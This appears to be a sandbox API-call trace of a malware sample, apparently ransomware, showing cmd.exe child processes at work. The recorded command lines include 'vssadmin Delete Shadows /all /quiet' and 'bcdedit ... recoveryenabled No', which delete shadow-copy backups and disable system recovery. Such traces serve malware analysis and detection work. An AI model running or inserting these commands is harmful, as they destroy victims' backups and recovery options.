	[0153.356] GetConsoleTitleW (in: lpConsoleTitle=0x1af6c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0153.357] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af478, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af438 | out: lpAttributeList=0x1af478, lpSize=0x1af438) returned 1
	[0153.357] UpdateProcThreadAttribute (in: lpAttributeList=0x1af478, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af428, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af478, lpPreviousValue=0x0) returned 1
	[0153.357] GetStartupInfoW (in: lpStartupInfo=0x1af590 | out: lpStartupInfo=0x1af590*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0153.358] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0153.427] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin.exe  Delete Shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x1af4b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin.exe  Delete Shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af460 | out: lpCommandLine="vssadmin.exe  Delete Shadows /all /quiet", lpProcessInformation=0x1af460*(hProcess=0x54, hThread=0x50, dwProcessId=0x248, dwThreadId=0x7e0)) returned 1
	[0153.512] CloseHandle (hObject=0x50) returned 1
	[0153.512] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0153.512] GetProcessHeap () returned 0x280000
	[0153.512] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ac50 | out: hHeap=0x280000) returned 1
	[0153.513] GetEnvironmentStringsW () returned 0x29ac50*
	[0153.513] GetProcessHeap () returned 0x280000
	[0153.513] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xac4) returned 0x298a60
	[0153.513] FreeEnvironmentStringsW (penv=0x29ac50) returned 1
	[0153.513] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0167.794] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af3a8 | out: lpExitCode=0x1af3a8*=0x2) returned 1
	[0167.794] CloseHandle (hObject=0x54) returned 1
	[0167.794] _vsnwprintf (in: _Buffer=0x1af618, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af3b8 | out: _Buffer="00000002") returned 8
	[0167.795] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0167.795] GetProcessHeap () returned 0x280000
	[0167.795] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x298a60 | out: hHeap=0x280000) returned 1
	[0167.795] GetEnvironmentStringsW () returned 0x29c0d0*
	[0167.795] GetProcessHeap () returned 0x280000
	[0167.795] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xaea) returned 0x298a60
	[0167.796] FreeEnvironmentStringsW (penv=0x29c0d0) returned 1
	[0167.796] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0167.796] GetProcessHeap () returned 0x280000
	[0167.796] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x298a60 | out: hHeap=0x280000) returned 1
	[0167.796] GetEnvironmentStringsW () returned 0x29c0d0*
	[0167.796] GetProcessHeap () returned 0x280000
	[0167.796] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xaea) returned 0x298a60
	[0167.796] FreeEnvironmentStringsW (penv=0x29c0d0) returned 1
	[0167.796] GetProcessHeap () returned 0x280000
	[0167.796] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c0b0 | out: hHeap=0x280000) returned 1
	[0167.796] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af478 | out: lpAttributeList=0x1af478) 
	[0167.796] _get_osfhandle (_FileHandle=1) returned 0x7
	[0167.797] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0167.797] _get_osfhandle (_FileHandle=1) returned 0x7
	[0167.797] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a34e194 | out: lpMode=0x4a34e194) returned 1
	[0167.798] _get_osfhandle (_FileHandle=0) returned 0x3
	[0167.798] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a34e198 | out: lpMode=0x4a34e198) returned 1
	[0167.799] SetConsoleInputExeNameW () returned 0x1
	[0167.799] GetConsoleOutputCP () returned 0x1b5
	[0167.799] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0167.800] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0167.800] exit (_Code=2) 

Process:
	id = "18"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x31d96000"
	os_pid = "0x484"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "5"
	os_parent_pid = "0x434"
	cmd_line = "cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 117
	os_tid = 0x67c

	[0151.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2af9f0 | out: lpSystemTimeAsFileTime=0x2af9f0*(dwLowDateTime=0x3d5a2f40, dwHighDateTime=0x1d5cdef)) 
	[0151.453] GetCurrentProcessId () returned 0x484
	[0151.453] GetCurrentThreadId () returned 0x67c
	[0151.453] GetTickCount () returned 0x116a094
	[0151.453] QueryPerformanceCounter (in: lpPerformanceCount=0x2af9f8 | out: lpPerformanceCount=0x2af9f8*=29301290450) returned 1
	[0151.454] GetModuleHandleW (lpModuleName=0x0) returned 0x4a320000
	[0151.454] __set_app_type (_Type=0x1) 
	[0151.455] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a347810) returned 0x0
	[0151.455] __getmainargs (in: _Argc=0x4a36a608, _Argv=0x4a36a618, _Env=0x4a36a610, _DoWildCard=0, _StartInfo=0x4a34e0f4 | out: _Argc=0x4a36a608, _Argv=0x4a36a618, _Env=0x4a36a610) returned 0
	[0151.456] GetCurrentThreadId () returned 0x67c
	[0151.458] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x67c) returned 0x3c
	[0151.798] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0151.799] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0151.799] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0151.800] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0151.801] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2af988 | out: phkResult=0x2af988*=0x0) returned 0x2
	[0151.801] VirtualQuery (in: lpAddress=0x2af970, lpBuffer=0x2af8f0, dwLength=0x30 | out: lpBuffer=0x2af8f0*(BaseAddress=0x2af000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.801] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x2af8f0, dwLength=0x30 | out: lpBuffer=0x2af8f0*(BaseAddress=0x1b0000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.801] VirtualQuery (in: lpAddress=0x1b1000, lpBuffer=0x2af8f0, dwLength=0x30 | out: lpBuffer=0x2af8f0*(BaseAddress=0x1b1000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.801] VirtualQuery (in: lpAddress=0x1b4000, lpBuffer=0x2af8f0, dwLength=0x30 | out: lpBuffer=0x2af8f0*(BaseAddress=0x1b4000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.801] VirtualQuery (in: lpAddress=0x2b0000, lpBuffer=0x2af8f0, dwLength=0x30 | out: lpBuffer=0x2af8f0*(BaseAddress=0x2b0000, AllocationBase=0x2b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0151.802] GetConsoleOutputCP () returned 0x1b5
	[0151.802] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0151.803] SetConsoleCtrlHandler (HandlerRoutine=0x4a343184, Add=1) returned 1
	[0151.803] _get_osfhandle (_FileHandle=1) returned 0x7
	[0151.804] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0151.805] _get_osfhandle (_FileHandle=1) returned 0x7
	[0151.805] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a34e194 | out: lpMode=0x4a34e194) returned 1
	[0151.806] _get_osfhandle (_FileHandle=1) returned 0x7
	[0151.806] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0151.807] _get_osfhandle (_FileHandle=0) returned 0x3
	[0151.807] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a34e198 | out: lpMode=0x4a34e198) returned 1
	[0151.808] _get_osfhandle (_FileHandle=0) returned 0x3
	[0151.808] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0151.809] GetEnvironmentStringsW () returned 0x478b10*
	[0151.809] GetProcessHeap () returned 0x460000
	[0151.809] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xa7c) returned 0x4795a0
	[0151.809] FreeEnvironmentStringsW (penv=0x478b10) returned 1
	[0151.810] GetProcessHeap () returned 0x460000
	[0151.810] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x8) returned 0x478390
	[0151.810] GetEnvironmentStringsW () returned 0x478b10*
	[0151.810] GetProcessHeap () returned 0x460000
	[0151.810] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xa7c) returned 0x47a030
	[0151.810] FreeEnvironmentStringsW (penv=0x478b10) returned 1
	[0151.810] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ae848 | out: phkResult=0x2ae848*=0x44) returned 0x0
	[0151.811] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ae840, lpData=0x2ae860, lpcbData=0x2ae844*=0x1000 | out: lpType=0x2ae840*=0x0, lpData=0x2ae860*=0x18, lpcbData=0x2ae844*=0x1000) returned 0x2
	[0151.811] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ae840, lpData=0x2ae860, lpcbData=0x2ae844*=0x1000 | out: lpType=0x2ae840*=0x4, lpData=0x2ae860*=0x1, lpcbData=0x2ae844*=0x4) returned 0x0
	[0151.811] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ae840, lpData=0x2ae860, lpcbData=0x2ae844*=0x1000 | out: lpType=0x2ae840*=0x0, lpData=0x2ae860*=0x1, lpcbData=0x2ae844*=0x1000) returned 0x2
	[0151.811] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ae840, lpData=0x2ae860, lpcbData=0x2ae844*=0x1000 | out: lpType=0x2ae840*=0x4, lpData=0x2ae860*=0x0, lpcbData=0x2ae844*=0x4) returned 0x0
	[0151.811] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ae840, lpData=0x2ae860, lpcbData=0x2ae844*=0x1000 | out: lpType=0x2ae840*=0x4, lpData=0x2ae860*=0x40, lpcbData=0x2ae844*=0x4) returned 0x0
	[0151.812] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ae840, lpData=0x2ae860, lpcbData=0x2ae844*=0x1000 | out: lpType=0x2ae840*=0x4, lpData=0x2ae860*=0x40, lpcbData=0x2ae844*=0x4) returned 0x0
	[0151.812] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ae840, lpData=0x2ae860, lpcbData=0x2ae844*=0x1000 | out: lpType=0x2ae840*=0x0, lpData=0x2ae860*=0x40, lpcbData=0x2ae844*=0x1000) returned 0x2
	[0151.812] RegCloseKey (hKey=0x44) returned 0x0
	[0151.812] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ae848 | out: phkResult=0x2ae848*=0x44) returned 0x0
	[0151.812] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ae840, lpData=0x2ae860, lpcbData=0x2ae844*=0x1000 | out: lpType=0x2ae840*=0x0, lpData=0x2ae860*=0x40, lpcbData=0x2ae844*=0x1000) returned 0x2
	[0151.812] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ae840, lpData=0x2ae860, lpcbData=0x2ae844*=0x1000 | out: lpType=0x2ae840*=0x4, lpData=0x2ae860*=0x1, lpcbData=0x2ae844*=0x4) returned 0x0
	[0151.813] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ae840, lpData=0x2ae860, lpcbData=0x2ae844*=0x1000 | out: lpType=0x2ae840*=0x0, lpData=0x2ae860*=0x1, lpcbData=0x2ae844*=0x1000) returned 0x2
	[0151.813] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ae840, lpData=0x2ae860, lpcbData=0x2ae844*=0x1000 | out: lpType=0x2ae840*=0x4, lpData=0x2ae860*=0x0, lpcbData=0x2ae844*=0x4) returned 0x0
	[0151.813] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ae840, lpData=0x2ae860, lpcbData=0x2ae844*=0x1000 | out: lpType=0x2ae840*=0x4, lpData=0x2ae860*=0x9, lpcbData=0x2ae844*=0x4) returned 0x0
	[0151.813] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ae840, lpData=0x2ae860, lpcbData=0x2ae844*=0x1000 | out: lpType=0x2ae840*=0x4, lpData=0x2ae860*=0x9, lpcbData=0x2ae844*=0x4) returned 0x0
	[0151.814] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ae840, lpData=0x2ae860, lpcbData=0x2ae844*=0x1000 | out: lpType=0x2ae840*=0x0, lpData=0x2ae860*=0x9, lpcbData=0x2ae844*=0x1000) returned 0x2
	[0151.814] RegCloseKey (hKey=0x44) returned 0x0
	[0151.814] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e68d
	[0151.814] srand (_Seed=0x5e22e68d) 
	[0151.814] GetCommandLineW () returned="cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\""
	[0151.814] GetCommandLineW () returned="cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\""
	[0151.815] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a35c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0151.815] GetProcessHeap () returned 0x460000
	[0151.816] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x218) returned 0x47aac0
	[0151.816] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x47aad0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0151.816] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0151.816] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0151.816] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0151.816] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0151.816] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0151.816] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0151.817] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0151.817] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0151.817] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0151.817] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0151.817] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0151.817] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0151.817] GetProcessHeap () returned 0x460000
	[0151.817] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x4795a0 | out: hHeap=0x460000) returned 1
	[0151.818] GetEnvironmentStringsW () returned 0x478b10*
	[0151.818] GetProcessHeap () returned 0x460000
	[0151.818] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xa94) returned 0x47b780
	[0151.818] FreeEnvironmentStringsW (penv=0x478b10) returned 1
	[0151.818] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0151.818] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0151.818] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0151.818] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0151.819] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0151.819] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0151.819] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0151.819] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0151.819] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0151.819] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0151.819] GetProcessHeap () returned 0x460000
	[0151.819] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x38) returned 0x476500
	[0151.820] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2af650 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0151.820] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x2af650, lpFilePart=0x2af630 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2af630*="system32") returned 0x13
	[0151.820] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0151.820] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x2af360 | out: lpFindFileData=0x2af360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb0000db, cFileName="Windows", cAlternateFileName="")) returned 0x478970
	[0151.820] FindClose (in: hFindFile=0x478970 | out: hFindFile=0x478970) returned 1
	[0151.821] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x2af360 | out: lpFindFileData=0x2af360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb0000db, cFileName="System32", cAlternateFileName="")) returned 0x478970
	[0151.821] FindClose (in: hFindFile=0x478970 | out: hFindFile=0x478970) returned 1
	[0151.821] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0151.822] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0151.822] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0151.822] GetProcessHeap () returned 0x460000
	[0151.822] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47b780 | out: hHeap=0x460000) returned 1
	[0151.822] GetEnvironmentStringsW () returned 0x478b10*
	[0151.822] GetProcessHeap () returned 0x460000
	[0151.822] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xac4) returned 0x47ace0
	[0151.822] FreeEnvironmentStringsW (penv=0x478b10) returned 1
	[0151.822] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a35c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0151.822] GetProcessHeap () returned 0x460000
	[0151.823] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x476500 | out: hHeap=0x460000) returned 1
	[0151.823] GetProcessHeap () returned 0x460000
	[0151.823] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x4016) returned 0x47ccf0
	[0151.824] GetProcessHeap () returned 0x460000
	[0151.824] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x9e) returned 0x47b7b0
	[0151.824] GetProcessHeap () returned 0x460000
	[0151.824] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x4010) returned 0x480d10
	[0151.825] GetProcessHeap () returned 0x460000
	[0151.825] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x4010) returned 0x484d30
	[0151.827] GetProcessHeap () returned 0x460000
	[0151.827] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47ccf0 | out: hHeap=0x460000) returned 1
	[0151.827] GetConsoleOutputCP () returned 0x1b5
	[0151.827] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a35bfe0 | out: lpCPInfo=0x4a35bfe0) returned 1
	[0151.828] GetUserDefaultLCID () returned 0x409
	[0151.829] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a357b50, cchData=8 | out: lpLCData=":") returned 2
	[0151.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2af760, cchData=128 | out: lpLCData="0") returned 2
	[0151.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2af760, cchData=128 | out: lpLCData="0") returned 2
	[0151.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2af760, cchData=128 | out: lpLCData="1") returned 2
	[0151.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a36a740, cchData=8 | out: lpLCData="/") returned 2
	[0151.830] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a36a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0151.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a36a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0151.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a36a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0151.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a36a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0151.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a36a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0151.832] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a36a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0151.832] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a36a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0151.832] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a357b40, cchData=8 | out: lpLCData=".") returned 2
	[0151.832] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a36a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0151.832] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0151.834] GetProcessHeap () returned 0x460000
	[0151.834] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x0, Size=0x20c) returned 0x47b8d0
	[0151.834] GetConsoleTitleW (in: lpConsoleTitle=0x47b8d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0152.282] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0152.282] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0152.282] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0152.282] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0152.284] GetProcessHeap () returned 0x460000
	[0152.284] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x4012) returned 0x47ccf0
	[0152.284] GetProcessHeap () returned 0x460000
	[0152.284] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47ccf0 | out: hHeap=0x460000) returned 1
	[0152.286] _wcsicmp (_String1="bcdedit", _String2=")") returned 57
	[0152.286] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4
	[0152.286] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4
	[0152.286] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7
	[0152.286] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7
	[0152.286] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16
	[0152.286] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16
	[0152.286] GetProcessHeap () returned 0x460000
	[0152.286] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xb0) returned 0x47baf0
	[0152.286] GetProcessHeap () returned 0x460000
	[0152.286] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x20) returned 0x474600
	[0152.289] GetProcessHeap () returned 0x460000
	[0152.289] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x58) returned 0x478970
	[0152.291] GetProcessHeap () returned 0x460000
	[0152.291] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xb0) returned 0x47bbb0
	[0152.293] _wcsicmp (_String1="bcdedit", _String2=")") returned 57
	[0152.293] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4
	[0152.293] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4
	[0152.293] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7
	[0152.294] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7
